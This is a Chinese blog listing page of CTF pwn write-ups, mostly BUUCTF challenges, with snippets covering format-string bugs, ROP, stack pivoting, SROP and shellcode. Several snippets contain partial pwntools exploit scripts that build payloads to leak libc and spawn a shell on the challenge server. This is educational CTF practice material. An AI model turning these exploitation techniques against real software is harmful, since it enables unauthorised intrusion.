
二进制pwn学习
Hvf0x
战略上藐视 战术上重视
展开
-
第五届“强网”拟态防御之PWN1与近段时间对unlink的理解
来个拟态防御简单一题原创 2022-11-06 20:03:52 · 390 阅读 · 1 评论 -
Ubuntu18学习记录(持续更新中~~~)
避免虚拟机崩溃原创 2022-10-27 21:02:53 · 628 阅读 · 0 评论 -
Uuntu16 学习记录(持续更新中......)
学习随意记录,本来不想传到网络上的,但是我怕某一天这个虚拟机突然崩溃~5555原创 2022-10-27 21:00:16 · 772 阅读 · 0 评论 -
关于canary的绕过题和ciscn_2019_es_7中看srop的看系统调用
做题经过前辈已经总结得很好了,这里就记录一下想法原创 2022-05-31 20:47:52 · 183 阅读 · 0 评论 -
pwn2_sctf_2016的32位和64位、[ZJCTF 2019]EasyHeap 的收获
[ZJCTF 2019]EasyHeap堆菜鸡题后简 结,见谅查看保护机制:Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)本题的思路就是:控制heaparray附近的区域,覆盖heaparray[0]处为free_got的地址,使之被作为chunk看待,edit覆盖free_got地址为syste.原创 2022-05-28 00:31:26 · 214 阅读 · 0 评论 -
BUUCTF之“SWPUCTF_2019_login”
格式化字符串在bss段上的情况:间接修改printf.got表为system,,,ebp对应的地址映射比较关键原创 2022-01-01 22:19:21 · 1185 阅读 · 0 评论 -
BUUCTF之“ciscn_2019_sw_1”
通过fmt改fini_array为main,更加深入理解程序执行原创 2021-12-26 10:34:14 · 895 阅读 · 4 评论 -
BUUCTF之“xman_2019_format”之特殊剧情:当格式化字符串遇上堆
格式化字符串在遇到堆的情况原创 2021-12-24 09:45:18 · 544 阅读 · 0 评论 -
BUUCTF之“judgement_mna_2016”
增强漏洞意识,有时候程序复杂但是抓住漏洞原创 2021-12-22 11:40:50 · 188 阅读 · 0 评论 -
BUUCTF之“wustctf2020_name_your_dog”
利用两次输入覆盖got.plt表间接执行后门函数原创 2021-12-22 11:04:53 · 236 阅读 · 0 评论 -
BUUCTF之“starctf_2019_babyshell”
shellcode的强化原创 2021-12-21 21:23:46 · 486 阅读 · 0 评论 -
BUUCTF之“oneshot_tjctf_2016”
当做onegadget的复习原创 2021-12-21 17:37:18 · 665 阅读 · 0 评论 -
BUUCYF之“wdb2018_guess”
stack smash的使用原创 2021-12-18 20:39:17 · 362 阅读 · 1 评论 -
BUUCTF之“[极客大挑战 2019]Not Bad 1”
简单orw原创 2021-12-16 11:17:15 · 277 阅读 · 0 评论 -
BUUCYF之“inndy_echo”接单记录
32位fmt_payload修改got表原创 2021-12-16 09:12:18 · 1690 阅读 · 0 评论 -
BUUCTF之“axb_2019_fmt64”
64位下格式化字符串漏洞,内存地址任意写原创 2021-12-15 15:52:35 · 3327 阅读 · 1 评论 -
BUUCTF之“cmcc_pwnme2”做题简单记录
这题还好,值得注意的是IDA里头函数栏里面的函数名字需要多注意其意思,说不定就是提示的信息。from pwn import *p = remote('node4.buuoj.cn',25488)elf=ELF('./pwnme2')exec_string=0x080485cbstring=0x0804a060gets=elf.sym['gets']p.recvuntil('Please input:\n')payload=b'a'*(0x6c+4)+p32(gets)+p32(.原创 2021-12-11 20:25:53 · 2690 阅读 · 0 评论 -
从BUUCTF之“jarvisoj_level5”中看如何暗度陈仓实现“mprotect”修改.bss段为可执行
mprotect修改权限实践原创 2021-12-10 21:12:15 · 744 阅读 · 1 评论 -
从BUUCTF之“ciscn_2019_s_9”见32位shellcode的简单写法,以及其中的难解之处
32位简单shellcode原创 2021-12-09 16:03:04 · 312 阅读 · 0 评论 -
关于BUUCTF之“pwnable_start”的一点小结
之前这个用汇编代码编写shellcode的题目做的较少,这题算是开端。正常检查程序保护,啥也没开。我们先分析一波程序:需要用到一点汇编知识,总的意思是:四个xor清零四个寄存器。而后压栈数据,是最开始会输出的“Let’s start the CTF:”然后调用write函数输出上面内容0x14个字节。而后调用read函数输入最大0x3c字节内容。在add esp ;然后返回。我们选择shellcode在栈上执行办法。所以我们需要泄露栈地址,计算偏移量,覆盖返回地址为shellcode所在地址.原创 2021-12-07 11:16:02 · 389 阅读 · 0 评论 -
关于“gyctf_2020_borrowstack”,涉及栈迁移(pivoting),通用gadge,one_gadget
我们首先给出wp:from pwn import*context.log_level='debug'p=remote('node4.buuoj.cn',26985)elf=ELF('./barop')p_rdi=0x400993puts_plt=elf.plt['puts']puts_got=elf.got['puts']read_got=elf.got['read']lbic=ELF('./libc-2.23.so')p.recvuntil("u!")```pythonp.sen原创 2021-12-05 21:58:23 · 339 阅读 · 0 评论 -
关于”axb_2019_fmt32“的记录
格式化字符串漏洞的fmtstr_paylaod的初次使用原创 2021-12-03 21:21:30 · 169 阅读 · 0 评论 -
从“bjdctf_2020_babyrop2”中看泄露的地址的接收问题
from pwn import*context.log_level=‘debug’p=remote(‘node4.hackingfor.fun’,32264)binsh= 0x400967pop_rdi= 0x4008a3p.sendline("-1")#p.recvuntil(“EDG”)paylaod = b’a’*0x78 +p64(pop_rdi) + p64(binsh)+p64(0x4005d0)p.sendline(paylaod)p.interactive()...原创 2021-12-02 11:49:17 · 244 阅读 · 0 评论 -
从BUUCTF之ciscn_2019_es_2简单复习栈迁移,即stack pivoting
简单栈迁移,栈迁移简单原创 2021-11-27 21:15:47 · 1352 阅读 · 0 评论 -
从BUUCTF之ciscn_2019_s_3简单实践SROP和通用gadget+execve系统调用
from os import systemfrom pwn import*from LibcSearcher import*#context.log_level='debug'p=remote('node4.buuoj.cn',27422)elf= ELF('./pwn')write_plt = elf.plt['write']write_got = elf.got['write']payload1 = '\x00' + '\xff'*7p.sendline(payload1)p.rec原创 2021-11-27 11:32:36 · 773 阅读 · 0 评论 -
关于BUUCTF 之bjdctf_2020_babyrop的wp的最实在解释
from os import systemfrom pwn import*context.log_level='debug'p=remote('node4.buuoj.cn',25535)libc_ = ELF('./libc-2.23.so')elf = ELF('./2020')puts_plt = elf.plt['puts']puts_got = elf.got['puts']#p.recvuntil("Pull up your sword and tell me u story!"原创 2021-11-26 19:56:49 · 886 阅读 · 0 评论 -
关于buuctf[OGeek2019]babyrop 1的一些些小结
首先对于题目分析:正常的32位小端序,checksec一下发现开了NX…………算了直接进正题。1.open函数的返回值,如果执行成功,他将返回一个文件描述,如果失败,他将返回-1.这里显然是成功了2.文件描述符:0,1,2:是标准I/O输入、输出、错误。这里open执行成功了会返回3。3.此时read(fd,&buf,4u)的意思是把fd指向的那个随机数输入buf中。这里需要注意的是:strcmp函数可用“\x00”来截断,进而覆盖下面的v5变量,随后让第二个read函数读入的“a1”原创 2021-11-25 16:05:25 · 801 阅读 · 0 评论 -
对buuctf的ciscn_2019_c_1wp的简单收获
首先不得不说BUU里头用到LibcSearcher泄露libc非常离谱,反正还是用"libc = ELF('./……')"比"libc = LibcSearcher()"较合适.接下来谈谈这题的wp:`from pwn import *from LibcSearcher import *context.log_level=‘debug’#p=process(‘1’)p=remote(“node4.buuoj.cn”,27213)elf=ELF(’./1’)puts_plt=elf.plt[“原创 2021-11-20 20:49:15 · 776 阅读 · 0 评论